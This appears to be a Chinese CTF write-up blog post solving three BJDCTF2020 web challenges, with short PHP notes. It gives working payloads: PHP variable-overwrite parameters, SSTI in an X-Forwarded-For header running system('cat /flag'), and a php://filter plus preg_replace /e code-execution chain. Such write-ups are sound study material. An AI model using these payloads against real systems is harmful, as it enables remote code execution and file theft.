BUUCTF 19

知识点

PHP foreach循环

  • PHP foreach 循环结构是遍历数组时常用的方法,foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量或者未初始化的变量将发出错误信息。
  • foreach 有以下两种语法格式:

    //格式1
    foreach (array_expression as $value){
        statement
    }

    //格式2
    foreach (array_expression as $key => $value){
        statement
    }

    第一种格式遍历 array_expression 数组时,每次循环将数组的值赋给 $value;第二种遍历不仅将数组值赋给 $value,还将键名赋给 $key。

    举例演示两种格式的不同:

     

    <?php
    $array = [0, 1, 2];
    foreach ($array as $val){
        echo "值是:" . $val ;
        echo "<br/>";
    }
    foreach ($array as $key => $value) {
        echo "键名是:" . $key . "值是:" . $value;
        echo "<br/>";
    }
    ?>

    执行以上代码打印的结果是:

    值是:0
    值是:1
    值是:2
    键名是:0值是:0
    键名是:1值是:1
    键名是:2值是:2

$$导致变量覆盖漏洞

SSTI注入

php伪协议

file_get_contents() 函数

  1. 语法:file_get_contents(path,include_path,context,start,max_length)
  2. 参数:
  3. 作用:

preg_replace() 函数

  1. 语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

  2. 参数:
  3. 作用: preg_replace 函数执行一个正则表达式的搜索和替换。 
  4. 深入研究preg_replace与代码执行

反向引用

对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问

19-1 [BJDCTF2020]Mark loves cat

做题思路

没找到什么提示,于是目录扫描,发现.git泄露,GitHack.py下载源码:

python GitHack.py http://b77333f7-af9a-4f4a-aad0-b328ef9c8369.node3.buuoj.cn/.git

得到两个php文件,接下来就是代码审计:
flag.php:

<?php
$flag = file_get_contents('/flag');

index.php:

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

分析:

  1. 前两个foreach语句分别将POST参数和GET参数进行变量覆盖,接着是三个if语句,exit()函数退出脚本的同时输出变量,最后一句是输出我们想要的flag。
  2. 首先我们想到的是让脚本执行到最后一句echo $flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成$flag = $aaa,而$aaa变量没有定义,所以为空,则最后的输出就是空。                                                                                                                                        同理:我们POST传参flag=aaa,在第一个foreach语句中变成$flag= aaa,flag被覆盖为‘aaa’,最后输出aaa
  3. 由此看来,这样行不通,回过头来前面说到if语句中的exit()函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了;
  4. 思路理清了,这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法
  • 一是第二个if语句中可以看到这里是输出的$yds变量,那么我们就要通过变量覆盖达到$yds=$flag的效果,GET传参yds=flag,在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag,这是其一;
  • 二是第三个if语句中输出变量$is,判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag',这里可以通过满足后面这个条件进行变量覆盖:GET传参is=flag&flag=flag;在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;

19-2 [BJDCTF2020]The mystery of ip

做题思路

根据题目ip联想到 X-Forwarded-For 处可能有问题

然后打开题目之后有个flag,是我的IP,于是猜测这里是不是注入点

抓包  之后输入   X-Forwarded-For:127.0.0.1

尝试注入之后,不是SQL注入

 

 

看WP后发现,原来是SSTI注入

在XFF请求中加入{{1+1}}

ip发生了变化,1+1的结果并在了127.0.0.1后面
于是构造payload: X-Forwarded-For:127.0.0.1{{system('find / -name flag')}}

flag在/flag中,于是cat查看一手,得到flag

X-Forwarded-For:127.0.0.1{{system('cat /flag')}}

19-3 [BJDCTF2020]ZJCTF,不过如此

做题思路

打开网站,审计,第一个if可以用php://input 或者 data://伪协议绕过,php伪协议分析可看php伪协议
在这里插入图片描述

然后提示next.php文件,这里可以用php://filter伪协议拿到它的源码:
在这里插入图片描述
payload:

http://7562c593-f8e7-48a0-93b6-b8b26eee8f9b.node3.buuoj.cn/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php

post数据:I have a dream

得到 

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。
这里第二个参数固定为strtolower("\\1")
这里的\\1实际上体现为\1

因为GET方式传的字符串,.会被替换成_,所以这里采用

\S*=${phpinfo()}  \S 在php正则表达式中表示匹配所有非空字符,*表示多次匹配

最终payload

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值